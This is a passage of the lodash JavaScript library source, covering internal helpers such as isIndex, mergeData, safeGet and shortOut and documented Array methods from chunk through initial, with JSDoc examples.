      return source.replace(reWrapComment, '{\n/* [wrapped with ' + details + '] */\n');
    }

    /**
     * Checks if `value` is a flattenable `arguments` object or array.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is flattenable, else `false`.
     */
    function isFlattenable(value) {
      return isArray(value) || isArguments(value) ||
        !!(spreadableSymbol && value && value[spreadableSymbol]);
    }

    /**
     * Checks if `value` is a valid array-like index.
     *
     * @private
     * @param {*} value The value to check.
     * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
     * @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
     */
    function isIndex(value, length) {
      var type = typeof value;
      length = length == null ? MAX_SAFE_INTEGER : length;

      return !!length &&
        (type == 'number' ||
          (type != 'symbol' && reIsUint.test(value))) &&
            (value > -1 && value % 1 == 0 && value < length);
    }

    /**
     * Checks if the given arguments are from an iteratee call.
     *
     * @private
     * @param {*} value The potential iteratee value argument.
     * @param {*} index The potential iteratee index or key argument.
     * @param {*} object The potential iteratee object argument.
     * @returns {boolean} Returns `true` if the arguments are from an iteratee call,
     *  else `false`.
     */
    function isIterateeCall(value, index, object) {
      if (!isObject(object)) {
        return false;
      }
      var type = typeof index;
      if (type == 'number'
            ? (isArrayLike(object) && isIndex(index, object.length))
            : (type == 'string' && index in object)
          ) {
        return eq(object[index], value);
      }
      return false;
    }

    /**
     * Checks if `value` is a property name and not a property path.
     *
     * @private
     * @param {*} value The value to check.
     * @param {Object} [object] The object to query keys on.
     * @returns {boolean} Returns `true` if `value` is a property name, else `false`.
     */
    function isKey(value, object) {
      if (isArray(value)) {
        return false;
      }
      var type = typeof value;
      if (type == 'number' || type == 'symbol' || type == 'boolean' ||
          value == null || isSymbol(value)) {
        return true;
      }
      return reIsPlainProp.test(value) || !reIsDeepProp.test(value) ||
        (object != null && value in Object(object));
    }

    /**
     * Checks if `value` is suitable for use as unique object key.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is suitable, else `false`.
     */
    function isKeyable(value) {
      var type = typeof value;
      return (type == 'string' || type == 'number' || type == 'symbol' || type == 'boolean')
        ? (value !== '__proto__')
        : (value === null);
    }

    /**
     * Checks if `func` has a lazy counterpart.
     *
     * @private
     * @param {Function} func The function to check.
     * @returns {boolean} Returns `true` if `func` has a lazy counterpart,
     *  else `false`.
     */
    function isLaziable(func) {
      var funcName = getFuncName(func),
          other = lodash[funcName];

      if (typeof other != 'function' || !(funcName in LazyWrapper.prototype)) {
        return false;
      }
      if (func === other) {
        return true;
      }
      var data = getData(other);
      return !!data && func === data[0];
    }

    /**
     * Checks if `func` has its source masked.
     *
     * @private
     * @param {Function} func The function to check.
     * @returns {boolean} Returns `true` if `func` is masked, else `false`.
     */
    function isMasked(func) {
      return !!maskSrcKey && (maskSrcKey in func);
    }

    /**
     * Checks if `func` is capable of being masked.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `func` is maskable, else `false`.
     */
    var isMaskable = coreJsData ? isFunction : stubFalse;

    /**
     * Checks if `value` is likely a prototype object.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a prototype, else `false`.
     */
    function isPrototype(value) {
      var Ctor = value && value.constructor,
          proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;

      return value === proto;
    }

    /**
     * Checks if `value` is suitable for strict equality comparisons, i.e. `===`.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` if suitable for strict
     *  equality comparisons, else `false`.
     */
    function isStrictComparable(value) {
      return value === value && !isObject(value);
    }

    /**
     * A specialized version of `matchesProperty` for source values suitable
     * for strict equality comparisons, i.e. `===`.
     *
     * @private
     * @param {string} key The key of the property to get.
     * @param {*} srcValue The value to match.
     * @returns {Function} Returns the new spec function.
     */
    function matchesStrictComparable(key, srcValue) {
      return function(object) {
        if (object == null) {
          return false;
        }
        return object[key] === srcValue &&
          (srcValue !== undefined || (key in Object(object)));
      };
    }

    /**
     * A specialized version of `_.memoize` which clears the memoized function's
     * cache when it exceeds `MAX_MEMOIZE_SIZE`.
     *
     * @private
     * @param {Function} func The function to have its output memoized.
     * @returns {Function} Returns the new memoized function.
     */
    function memoizeCapped(func) {
      var result = memoize(func, function(key) {
        if (cache.size === MAX_MEMOIZE_SIZE) {
          cache.clear();
        }
        return key;
      });

      var cache = result.cache;
      return result;
    }

    /**
     * Merges the function metadata of `source` into `data`.
     *
     * Merging metadata reduces the number of wrappers used to invoke a function.
     * This is possible because methods like `_.bind`, `_.curry`, and `_.partial`
     * may be applied regardless of execution order. Methods like `_.ary` and
     * `_.rearg` modify function arguments, making the order in which they are
     * executed important, preventing the merging of metadata. However, we make
     * an exception for a safe combined case where curried functions have `_.ary`
     * and or `_.rearg` applied.
     *
     * @private
     * @param {Array} data The destination metadata.
     * @param {Array} source The source metadata.
     * @returns {Array} Returns `data`.
     */
    function mergeData(data, source) {
      var bitmask = data[1],
          srcBitmask = source[1],
          newBitmask = bitmask | srcBitmask,
          isCommon = newBitmask < (WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG | WRAP_ARY_FLAG);

      var isCombo =
        ((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_CURRY_FLAG)) ||
        ((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_REARG_FLAG) && (data[7].length <= source[8])) ||
        ((srcBitmask == (WRAP_ARY_FLAG | WRAP_REARG_FLAG)) && (source[7].length <= source[8]) && (bitmask == WRAP_CURRY_FLAG));

      // Exit early if metadata can't be merged.
      if (!(isCommon || isCombo)) {
        return data;
      }
      // Use source `thisArg` if available.
      if (srcBitmask & WRAP_BIND_FLAG) {
        data[2] = source[2];
        // Set when currying a bound function.
        newBitmask |= bitmask & WRAP_BIND_FLAG ? 0 : WRAP_CURRY_BOUND_FLAG;
      }
      // Compose partial arguments.
      var value = source[3];
      if (value) {
        var partials = data[3];
        data[3] = partials ? composeArgs(partials, value, source[4]) : value;
        data[4] = partials ? replaceHolders(data[3], PLACEHOLDER) : source[4];
      }
      // Compose partial right arguments.
      value = source[5];
      if (value) {
        partials = data[5];
        data[5] = partials ? composeArgsRight(partials, value, source[6]) : value;
        data[6] = partials ? replaceHolders(data[5], PLACEHOLDER) : source[6];
      }
      // Use source `argPos` if available.
      value = source[7];
      if (value) {
        data[7] = value;
      }
      // Use source `ary` if it's smaller.
      if (srcBitmask & WRAP_ARY_FLAG) {
        data[8] = data[8] == null ? source[8] : nativeMin(data[8], source[8]);
      }
      // Use source `arity` if one is not provided.
      if (data[9] == null) {
        data[9] = source[9];
      }
      // Use source `func` and merge bitmasks.
      data[0] = source[0];
      data[1] = newBitmask;

      return data;
    }

    /**
     * This function is like
     * [`Object.keys`](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
     * except that it includes inherited enumerable properties.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     */
    function nativeKeysIn(object) {
      var result = [];
      if (object != null) {
        for (var key in Object(object)) {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * Converts `value` to a string using `Object.prototype.toString`.
     *
     * @private
     * @param {*} value The value to convert.
     * @returns {string} Returns the converted string.
     */
    function objectToString(value) {
      return nativeObjectToString.call(value);
    }

    /**
     * A specialized version of `baseRest` which transforms the rest array.
     *
     * @private
     * @param {Function} func The function to apply a rest parameter to.
     * @param {number} [start=func.length-1] The start position of the rest parameter.
     * @param {Function} transform The rest array transform.
     * @returns {Function} Returns the new function.
     */
    function overRest(func, start, transform) {
      start = nativeMax(start === undefined ? (func.length - 1) : start, 0);
      return function() {
        var args = arguments,
            index = -1,
            length = nativeMax(args.length - start, 0),
            array = Array(length);

        while (++index < length) {
          array[index] = args[start + index];
        }
        index = -1;
        var otherArgs = Array(start + 1);
        while (++index < start) {
          otherArgs[index] = args[index];
        }
        otherArgs[start] = transform(array);
        return apply(func, this, otherArgs);
      };
    }

    /**
     * Gets the parent value at `path` of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array} path The path to get the parent value of.
     * @returns {*} Returns the parent value.
     */
    function parent(object, path) {
      return path.length < 2 ? object : baseGet(object, baseSlice(path, 0, -1));
    }

    /**
     * Reorder `array` according to the specified indexes where the element at
     * the first index is assigned as the first element, the element at
     * the second index is assigned as the second element, and so on.
     *
     * @private
     * @param {Array} array The array to reorder.
     * @param {Array} indexes The arranged array indexes.
     * @returns {Array} Returns `array`.
     */
    function reorder(array, indexes) {
      var arrLength = array.length,
          length = nativeMin(indexes.length, arrLength),
          oldArray = copyArray(array);

      while (length--) {
        var index = indexes[length];
        array[length] = isIndex(index, arrLength) ? oldArray[index] : undefined;
      }
      return array;
    }

    /**
     * Gets the value at `key`, unless `key` is "__proto__" or "constructor".
     *
     * @private
     * @param {Object} object The object to query.
     * @param {string} key The key of the property to get.
     * @returns {*} Returns the property value.
     */
    function safeGet(object, key) {
      if (key === 'constructor' && typeof object[key] === 'function') {
        return;
      }

      if (key == '__proto__') {
        return;
      }

      return object[key];
    }

    /**
     * Sets metadata for `func`.
     *
     * **Note:** If this function becomes hot, i.e. is invoked a lot in a short
     * period of time, it will trip its breaker and transition to an identity
     * function to avoid garbage collection pauses in V8. See
     * [V8 issue 2070](https://bugs.chromium.org/p/v8/issues/detail?id=2070)
     * for more details.
     *
     * @private
     * @param {Function} func The function to associate metadata with.
     * @param {*} data The metadata.
     * @returns {Function} Returns `func`.
     */
    var setData = shortOut(baseSetData);

    /**
     * A simple wrapper around the global [`setTimeout`](https://mdn.io/setTimeout).
     *
     * @private
     * @param {Function} func The function to delay.
     * @param {number} wait The number of milliseconds to delay invocation.
     * @returns {number|Object} Returns the timer id or timeout object.
     */
    var setTimeout = ctxSetTimeout || function(func, wait) {
      return root.setTimeout(func, wait);
    };

    /**
     * Sets the `toString` method of `func` to return `string`.
     *
     * @private
     * @param {Function} func The function to modify.
     * @param {Function} string The `toString` result.
     * @returns {Function} Returns `func`.
     */
    var setToString = shortOut(baseSetToString);

    /**
     * Sets the `toString` method of `wrapper` to mimic the source of `reference`
     * with wrapper details in a comment at the top of the source body.
     *
     * @private
     * @param {Function} wrapper The function to modify.
     * @param {Function} reference The reference function.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @returns {Function} Returns `wrapper`.
     */
    function setWrapToString(wrapper, reference, bitmask) {
      var source = (reference + '');
      return setToString(wrapper, insertWrapDetails(source, updateWrapDetails(getWrapDetails(source), bitmask)));
    }

    /**
     * Creates a function that'll short out and invoke `identity` instead
     * of `func` when it's called `HOT_COUNT` or more times in `HOT_SPAN`
     * milliseconds.
     *
     * @private
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new shortable function.
     */
    function shortOut(func) {
      var count = 0,
          lastCalled = 0;

      return function() {
        var stamp = nativeNow(),
            remaining = HOT_SPAN - (stamp - lastCalled);

        lastCalled = stamp;
        if (remaining > 0) {
          if (++count >= HOT_COUNT) {
            return arguments[0];
          }
        } else {
          count = 0;
        }
        return func.apply(undefined, arguments);
      };
    }

    /**
     * A specialized version of `_.shuffle` which mutates and sets the size of `array`.
     *
     * @private
     * @param {Array} array The array to shuffle.
     * @param {number} [size=array.length] The size of `array`.
     * @returns {Array} Returns `array`.
     */
    function shuffleSelf(array, size) {
      var index = -1,
          length = array.length,
          lastIndex = length - 1;

      size = size === undefined ? length : size;
      while (++index < size) {
        var rand = baseRandom(index, lastIndex),
            value = array[rand];

        array[rand] = array[index];
        array[index] = value;
      }
      array.length = size;
      return array;
    }

    /**
     * Converts `string` to a property path array.
     *
     * @private
     * @param {string} string The string to convert.
     * @returns {Array} Returns the property path array.
     */
    var stringToPath = memoizeCapped(function(string) {
      var result = [];
      if (string.charCodeAt(0) === 46 /* . */) {
        result.push('');
      }
      string.replace(rePropName, function(match, number, quote, subString) {
        result.push(quote ? subString.replace(reEscapeChar, '$1') : (number || match));
      });
      return result;
    });

    /**
     * Converts `value` to a string key if it's not a string or symbol.
     *
     * @private
     * @param {*} value The value to inspect.
     * @returns {string|symbol} Returns the key.
     */
    function toKey(value) {
      if (typeof value == 'string' || isSymbol(value)) {
        return value;
      }
      var result = (value + '');
      return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
    }

    /**
     * Converts `func` to its source code.
     *
     * @private
     * @param {Function} func The function to convert.
     * @returns {string} Returns the source code.
     */
    function toSource(func) {
      if (func != null) {
        try {
          return funcToString.call(func);
        } catch (e) {}
        try {
          return (func + '');
        } catch (e) {}
      }
      return '';
    }

    /**
     * Updates wrapper `details` based on `bitmask` flags.
     *
     * @private
     * @returns {Array} details The details to modify.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @returns {Array} Returns `details`.
     */
    function updateWrapDetails(details, bitmask) {
      arrayEach(wrapFlags, function(pair) {
        var value = '_.' + pair[0];
        if ((bitmask & pair[1]) && !arrayIncludes(details, value)) {
          details.push(value);
        }
      });
      return details.sort();
    }

    /**
     * Creates a clone of `wrapper`.
     *
     * @private
     * @param {Object} wrapper The wrapper to clone.
     * @returns {Object} Returns the cloned wrapper.
     */
    function wrapperClone(wrapper) {
      if (wrapper instanceof LazyWrapper) {
        return wrapper.clone();
      }
      var result = new LodashWrapper(wrapper.__wrapped__, wrapper.__chain__);
      result.__actions__ = copyArray(wrapper.__actions__);
      result.__index__  = wrapper.__index__;
      result.__values__ = wrapper.__values__;
      return result;
    }

    /*------------------------------------------------------------------------*/

    /**
     * Creates an array of elements split into groups the length of `size`.
     * If `array` can't be split evenly, the final chunk will be the remaining
     * elements.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to process.
     * @param {number} [size=1] The length of each chunk
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the new array of chunks.
     * @example
     *
     * _.chunk(['a', 'b', 'c', 'd'], 2);
     * // => [['a', 'b'], ['c', 'd']]
     *
     * _.chunk(['a', 'b', 'c', 'd'], 3);
     * // => [['a', 'b', 'c'], ['d']]
     */
    function chunk(array, size, guard) {
      if ((guard ? isIterateeCall(array, size, guard) : size === undefined)) {
        size = 1;
      } else {
        size = nativeMax(toInteger(size), 0);
      }
      var length = array == null ? 0 : array.length;
      if (!length || size < 1) {
        return [];
      }
      var index = 0,
          resIndex = 0,
          result = Array(nativeCeil(length / size));

      while (index < length) {
        result[resIndex++] = baseSlice(array, index, (index += size));
      }
      return result;
    }

    /**
     * Creates an array with all falsey values removed. The values `false`, `null`,
     * `0`, `""`, `undefined`, and `NaN` are falsey.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to compact.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * _.compact([0, 1, false, 2, '', 3]);
     * // => [1, 2, 3]
     */
    function compact(array) {
      var index = -1,
          length = array == null ? 0 : array.length,
          resIndex = 0,
          result = [];

      while (++index < length) {
        var value = array[index];
        if (value) {
          result[resIndex++] = value;
        }
      }
      return result;
    }

    /**
     * Creates a new array concatenating `array` with any additional arrays
     * and/or values.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to concatenate.
     * @param {...*} [values] The values to concatenate.
     * @returns {Array} Returns the new concatenated array.
     * @example
     *
     * var array = [1];
     * var other = _.concat(array, 2, [3], [[4]]);
     *
     * console.log(other);
     * // => [1, 2, 3, [4]]
     *
     * console.log(array);
     * // => [1]
     */
    function concat() {
      var length = arguments.length;
      if (!length) {
        return [];
      }
      var args = Array(length - 1),
          array = arguments[0],
          index = length;

      while (index--) {
        args[index - 1] = arguments[index];
      }
      return arrayPush(isArray(array) ? copyArray(array) : [array], baseFlatten(args, 1));
    }

    /**
     * Creates an array of `array` values not included in the other given arrays
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons. The order and references of result values are
     * determined by the first array.
     *
     * **Note:** Unlike `_.pullAll`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...Array} [values] The values to exclude.
     * @returns {Array} Returns the new array of filtered values.
     * @see _.without, _.xor
     * @example
     *
     * _.difference([2, 1], [2, 3]);
     * // => [1]
     */
    var difference = baseRest(function(array, values) {
      return isArrayLikeObject(array)
        ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true))
        : [];
    });

    /**
     * This method is like `_.difference` except that it accepts `iteratee` which
     * is invoked for each element of `array` and `values` to generate the criterion
     * by which they're compared. The order and references of result values are
     * determined by the first array. The iteratee is invoked with one argument:
     * (value).
     *
     * **Note:** Unlike `_.pullAllBy`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...Array} [values] The values to exclude.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * _.differenceBy([2.1, 1.2], [2.3, 3.4], Math.floor);
     * // => [1.2]
     *
     * // The `_.property` iteratee shorthand.
     * _.differenceBy([{ 'x': 2 }, { 'x': 1 }], [{ 'x': 1 }], 'x');
     * // => [{ 'x': 2 }]
     */
    var differenceBy = baseRest(function(array, values) {
      var iteratee = last(values);
      if (isArrayLikeObject(iteratee)) {
        iteratee = undefined;
      }
      return isArrayLikeObject(array)
        ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), getIteratee(iteratee, 2))
        : [];
    });

    /**
     * This method is like `_.difference` except that it accepts `comparator`
     * which is invoked to compare elements of `array` to `values`. The order and
     * references of result values are determined by the first array. The comparator
     * is invoked with two arguments: (arrVal, othVal).
     *
     * **Note:** Unlike `_.pullAllWith`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...Array} [values] The values to exclude.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     *
     * _.differenceWith(objects, [{ 'x': 1, 'y': 2 }], _.isEqual);
     * // => [{ 'x': 2, 'y': 1 }]
     */
    var differenceWith = baseRest(function(array, values) {
      var comparator = last(values);
      if (isArrayLikeObject(comparator)) {
        comparator = undefined;
      }
      return isArrayLikeObject(array)
        ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), undefined, comparator)
        : [];
    });

    /**
     * Creates a slice of `array` with `n` elements dropped from the beginning.
     *
     * @static
     * @memberOf _
     * @since 0.5.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to drop.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.drop([1, 2, 3]);
     * // => [2, 3]
     *
     * _.drop([1, 2, 3], 2);
     * // => [3]
     *
     * _.drop([1, 2, 3], 5);
     * // => []
     *
     * _.drop([1, 2, 3], 0);
     * // => [1, 2, 3]
     */
    function drop(array, n, guard) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      return baseSlice(array, n < 0 ? 0 : n, length);
    }

    /**
     * Creates a slice of `array` with `n` elements dropped from the end.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to drop.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.dropRight([1, 2, 3]);
     * // => [1, 2]
     *
     * _.dropRight([1, 2, 3], 2);
     * // => [1]
     *
     * _.dropRight([1, 2, 3], 5);
     * // => []
     *
     * _.dropRight([1, 2, 3], 0);
     * // => [1, 2, 3]
     */
    function dropRight(array, n, guard) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      n = length - n;
      return baseSlice(array, 0, n < 0 ? 0 : n);
    }

    /**
     * Creates a slice of `array` excluding elements dropped from the end.
     * Elements are dropped until `predicate` returns falsey. The predicate is
     * invoked with three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': true },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': false }
     * ];
     *
     * _.dropRightWhile(users, function(o) { return !o.active; });
     * // => objects for ['barney']
     *
     * // The `_.matches` iteratee shorthand.
     * _.dropRightWhile(users, { 'user': 'pebbles', 'active': false });
     * // => objects for ['barney', 'fred']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.dropRightWhile(users, ['active', false]);
     * // => objects for ['barney']
     *
     * // The `_.property` iteratee shorthand.
     * _.dropRightWhile(users, 'active');
     * // => objects for ['barney', 'fred', 'pebbles']
     */
    function dropRightWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3), true, true)
        : [];
    }

    /**
     * Creates a slice of `array` excluding elements dropped from the beginning.
     * Elements are dropped until `predicate` returns falsey. The predicate is
     * invoked with three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': false },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': true }
     * ];
     *
     * _.dropWhile(users, function(o) { return !o.active; });
     * // => objects for ['pebbles']
     *
     * // The `_.matches` iteratee shorthand.
     * _.dropWhile(users, { 'user': 'barney', 'active': false });
     * // => objects for ['fred', 'pebbles']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.dropWhile(users, ['active', false]);
     * // => objects for ['pebbles']
     *
     * // The `_.property` iteratee shorthand.
     * _.dropWhile(users, 'active');
     * // => objects for ['barney', 'fred', 'pebbles']
     */
    function dropWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3), true)
        : [];
    }

    /**
     * Fills elements of `array` with `value` from `start` up to, but not
     * including, `end`.
     *
     * **Note:** This method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 3.2.0
     * @category Array
     * @param {Array} array The array to fill.
     * @param {*} value The value to fill `array` with.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [1, 2, 3];
     *
     * _.fill(array, 'a');
     * console.log(array);
     * // => ['a', 'a', 'a']
     *
     * _.fill(Array(3), 2);
     * // => [2, 2, 2]
     *
     * _.fill([4, 6, 8, 10], '*', 1, 3);
     * // => [4, '*', '*', 10]
     */
    function fill(array, value, start, end) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      if (start && typeof start != 'number' && isIterateeCall(array, value, start)) {
        start = 0;
        end = length;
      }
      return baseFill(array, value, start, end);
    }

    /**
     * This method is like `_.find` except that it returns the index of the first
     * element `predicate` returns truthy for instead of the element itself.
     *
     * @static
     * @memberOf _
     * @since 1.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=0] The index to search from.
     * @returns {number} Returns the index of the found element, else `-1`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': false },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': true }
     * ];
     *
     * _.findIndex(users, function(o) { return o.user == 'barney'; });
     * // => 0
     *
     * // The `_.matches` iteratee shorthand.
     * _.findIndex(users, { 'user': 'fred', 'active': false });
     * // => 1
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findIndex(users, ['active', false]);
     * // => 0
     *
     * // The `_.property` iteratee shorthand.
     * _.findIndex(users, 'active');
     * // => 2
     */
    function findIndex(array, predicate, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = fromIndex == null ? 0 : toInteger(fromIndex);
      if (index < 0) {
        index = nativeMax(length + index, 0);
      }
      return baseFindIndex(array, getIteratee(predicate, 3), index);
    }

    /**
     * This method is like `_.findIndex` except that it iterates over elements
     * of `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=array.length-1] The index to search from.
     * @returns {number} Returns the index of the found element, else `-1`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': true },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': false }
     * ];
     *
     * _.findLastIndex(users, function(o) { return o.user == 'pebbles'; });
     * // => 2
     *
     * // The `_.matches` iteratee shorthand.
     * _.findLastIndex(users, { 'user': 'barney', 'active': true });
     * // => 0
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findLastIndex(users, ['active', false]);
     * // => 2
     *
     * // The `_.property` iteratee shorthand.
     * _.findLastIndex(users, 'active');
     * // => 0
     */
    function findLastIndex(array, predicate, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = length - 1;
      if (fromIndex !== undefined) {
        index = toInteger(fromIndex);
        index = fromIndex < 0
          ? nativeMax(length + index, 0)
          : nativeMin(index, length - 1);
      }
      return baseFindIndex(array, getIteratee(predicate, 3), index, true);
    }

    /**
     * Flattens `array` a single level deep.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to flatten.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * _.flatten([1, [2, [3, [4]], 5]]);
     * // => [1, 2, [3, [4]], 5]
     */
    function flatten(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseFlatten(array, 1) : [];
    }

    /**
     * Recursively flattens `array`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to flatten.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * _.flattenDeep([1, [2, [3, [4]], 5]]);
     * // => [1, 2, 3, 4, 5]
     */
    function flattenDeep(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseFlatten(array, INFINITY) : [];
    }

    /**
     * Recursively flatten `array` up to `depth` times.
     *
     * @static
     * @memberOf _
     * @since 4.4.0
     * @category Array
     * @param {Array} array The array to flatten.
     * @param {number} [depth=1] The maximum recursion depth.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * var array = [1, [2, [3, [4]], 5]];
     *
     * _.flattenDepth(array, 1);
     * // => [1, 2, [3, [4]], 5]
     *
     * _.flattenDepth(array, 2);
     * // => [1, 2, 3, [4], 5]
     */
    function flattenDepth(array, depth) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      depth = depth === undefined ? 1 : toInteger(depth);
      return baseFlatten(array, depth);
    }

    /**
     * The inverse of `_.toPairs`; this method returns an object composed
     * from key-value `pairs`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} pairs The key-value pairs.
     * @returns {Object} Returns the new object.
     * @example
     *
     * _.fromPairs([['a', 1], ['b', 2]]);
     * // => { 'a': 1, 'b': 2 }
     */
    function fromPairs(pairs) {
      var index = -1,
          length = pairs == null ? 0 : pairs.length,
          result = {};

      while (++index < length) {
        var pair = pairs[index];
        result[pair[0]] = pair[1];
      }
      return result;
    }

    /**
     * Gets the first element of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @alias first
     * @category Array
     * @param {Array} array The array to query.
     * @returns {*} Returns the first element of `array`.
     * @example
     *
     * _.head([1, 2, 3]);
     * // => 1
     *
     * _.head([]);
     * // => undefined
     */
    function head(array) {
      return (array && array.length) ? array[0] : undefined;
    }

    /**
     * Gets the index at which the first occurrence of `value` is found in `array`
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons. If `fromIndex` is negative, it's used as the
     * offset from the end of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @param {number} [fromIndex=0] The index to search from.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.indexOf([1, 2, 1, 2], 2);
     * // => 1
     *
     * // Search from the `fromIndex`.
     * _.indexOf([1, 2, 1, 2], 2, 2);
     * // => 3
     */
    function indexOf(array, value, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = fromIndex == null ? 0 : toInteger(fromIndex);
      if (index < 0) {
        index = nativeMax(length + index, 0);
      }
      return baseIndexOf(array, value, index);
    }

    /**
     * Gets all but the last element of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to query.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.initial([1, 2, 3]);
     * // => [1, 2]
     */
    function initial(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseSlice(array, 0, -1) : [];
    }

    /**
     * Creates an array of unique values that are included in all given arrays
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons. The order and references of result values are
     * determined by the first array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @returns {Array} Returns the new array of intersecting values.
